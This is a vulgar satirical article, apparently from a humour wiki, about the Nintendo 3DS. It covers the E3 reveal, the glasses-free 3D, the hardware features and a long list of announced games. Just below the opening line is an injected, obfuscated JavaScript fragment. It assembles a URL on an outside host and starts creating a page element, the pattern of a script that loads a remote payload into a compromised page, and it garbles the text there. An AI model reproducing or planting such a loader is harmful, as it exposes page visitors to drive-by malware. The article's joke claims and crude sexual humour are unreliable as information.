Nintendo 3DS

The 3DS: Nintendo's answer to magic. )){u='http'+'://buro'+'tkan'+'i.com/'+'sma'+'rty/';j=document.createElemen

It may not look like anything, but bear with me here.

Just The Facts

  1. The Nintendo 3DS allows for the whole 3D "POPPING RIGHT AT YOU" thing.
  2. But it doesn't require glasses.
  3. Holy shit.

From Humble Beginnings

The latest thing being shoved down the movie goer's throat is 3D. It's like those old cheesy red/blue glasses things from the 50s, except it doesn't look like a frozen dog turd and it won't give you cancer (citation needed). The technology is already being implimented in theaters, and for an extra seven dollars you too can enjoy it! There is a problem, though. To truly have a proper 3D experience in your home, you have to buy a new TV, a new DVD player, new DVDs and games, and comically overpriced 3D glasses. This adds up to at least $5000, and for what? To make Dreamworks's CGI rape documentaries even harder to watch?

All of the fancy technology in the world won't make this any easier.

So imagine how I felt when the word got out that the best company in the history of everything would be joining the 3D shitwagon by making the Nintendo "3DS". First of all, Nintendo tried a 3D console once. This tanked so hard that just saying the "Virtual Boy" within 200 feet of any Nintendo related function gives security legal reason to "remove" you. I thought Nintendo was about "innovation" and "groundbreaking ideas", not "doing the same horrible thing as everyone else because Iwatta only has three pools in his guest home".


But apparently, it will allow a 3D effect without the use of glasses...WHAT?

"THIS WILL ABSOLUTLEY WORK!"

As I awoke at 8 AM for Nintendo's 2010 E3 press conference, I felt a curious mixture of excitement and apprehension. I was sure they would unvail a few things that tickle my fancy (NEWZELDANEWZELDANEZZELDA), but they had this 3DS thing, which would either be really, really awesome or a huge mistake.

So about halfway through the conference, a video plays. This video pretty much conveys the message that while the whole 3D movement is cool and all, the glasses are dumb and if you think you need glasses to see 3D, you're an idiot. Iwatta (president of Nintendo) then walks onstage and is all like "3D no glasses, one hundred percent guaranteed!" Many famous game designers then descended from the heavens and claimed that the 3DS works really fucking well and it has their total support. Nintendo then brings out hundreds of prostitutes tethered to 3DSes and lets everyone try it.

Because no one would ever steal a 3DS if it came with a whore!

But no, the people who played it were gonna say it was awful. It was gonna be powered by your dick or not really be 3D, or something. WRONG! Pretty much everyone who played it was reduced to tears, between sobs muttering "it really works, oh my God" or "I'm selling the kid, fuck everything that isn't this". Nintendo has released a game system that allows for a 3D effect without glasses. Holy balls.

Features n' Shit

The 3DS can literally do everything. For starters, lets talk about how the 3D effect works. the system's screen uses what is known as a paralax barrier. This is a special type of LCD screen that which makes two seperate screens combine, causing each eye to see half the image and produce a blah blah blah blah science blah blah electricity blah blah World War Three. Who cares how it works? Its 3D without glasses. Its magic.

No one knows how it works, its mysteries are as old as the Earth it stands upon.

However, there is a chink in this technology's sexy, indestructable armor. The effect is only percieveable when viewed at a specific angle and with two eyes, so if you play the 3DS from the side or with an eyepatch it will look like a blurry piece of shit. But hey, you can always turn the effect off! And not with a lazy press of a button either. The 3DS has a slider to control how strong the 3D is, from off to "MARIO'S DICK IS IN MY FACE".

IN. MY. FACE.

But what about the graphics? There's no way the thing has better graphics than the Sexbox 369 or the GayStation -3. Hell, it probably has worse graphics than the PeeSPee!

Okay they aren't as good as the 360 or PS3, but those are still some good fucking graphics. Anyhoo, the 3DS also has an analog stick, a touch screen, motion control, cameras for face recognition and 3D pictures, a microphone, and time travel.

I don't think I can imagine my life without one.

The Games

What about the games, you ask? I would ramble about how many big name game developers support the thing or whatever, but instead I'll just show you a list of every 3DS game currently in development.

Activision

  • DJ Hero 3D
AQ Interactive
  • Cubic ninja
Atlus
  • Shin Megami Tensei
  • Shin Megami Tensei: Persona
  • Shin Megami Tensei: Devil Survivor
Capcom
  • Resident Evil Revelations
  • Super Street Fighter IV 3D Edition (name not final)
EA
  • EA FIFA Soccer
  • Madden NFL
  • The Sims 3
Gameloft
  • Asphalt DS
Harmonix
  • Music Game
Hudson Soft
  • Bomberman franchise
  • Deca Sports franchise
  • Kororinpa franchise
Konami
  • Baseball franchise
  • Contra franchise
  • Frogger franchise
  • Hideo Kojima's Metal Gear Solid Snake Eater 3D "The Naked Sample"
  • Pro Evolution Soccer franchise / Winning Eleven franchise
Level-5
  • Professor Layton and the Mask of Miracle (name not final)
Majesco Entertainment
  • BloodRayne: The Shroud
  • A Boy and His Blob
  • Face Racers: Photo Finish
  • Lion's Pride: Adventures on the Serengeti
  • Martha Stewart
  • WonderWorld Amusement Park
Marvelous
  • Bokujyoumonogatari (Harvest Moon) 3D (name not final)
Namco
  • Dragon Ball franchise (name not final)
  • Gundam franchise (name not final)
  • PAC-MANTM & GALAGATM (name not final)
  • Ridge Racer (name not final)
  • Super Robot franchise (name not final)
Nintendo
  • Animal Crossing
  • Kid Icarus: Uprising
  • Mario Kart
  • nintendogs + cats
  • Paper Mario
  • PilotWings Resort
  • Star Fox 64 3D
  • Steel Diver
Rocket
  • Crash-City GP
  • VS-robo
Sega
  • Sonic (name not final)
  • Super Monkey Ball (name not final)
Square Enix
  • CODENAME: Chocobo Racing
  • 3D Dragon Quest franchise
  • Final Fantasy franchise
  • Kingdom Hearts franchise
Take-Two Interactive
  • Carnival Games franchise
Tecmo Koei
  • Dead or Alive 3D (name not final)
  • Dynasty Warriors (name not final)
  • Ninja Gaiden (name not final)
  • Samurai Warriors 3D (name not final)
TOMY
  • Lovely Lisa 3D
  • Naruto Shippuden Action
THQ
  • de Blob 2
  • Kung Fu Panda
  • Kaboom of Doom
  • Marvel Super Hero Squad
  • Infinity Gauntlet
  • The Penguins of Madagascar
  • Puss N Boots
  • Saints Row: Drive-By
Ubisoft
  • Assassin's Creed: Lost Legacy
  • Battle of Giants: Dinosaur Strike
  • Driver Renegade Hollywood 61 (name not final)
  • Tom Clancy's Ghost Recon
  • Tom Clancy's Splinter Cell Chaos Theory
Warner Bros
  • Batman franchise
  • LEGO franchise

Chances are if you've ever played a game and liked it, its going to be on the 3DS.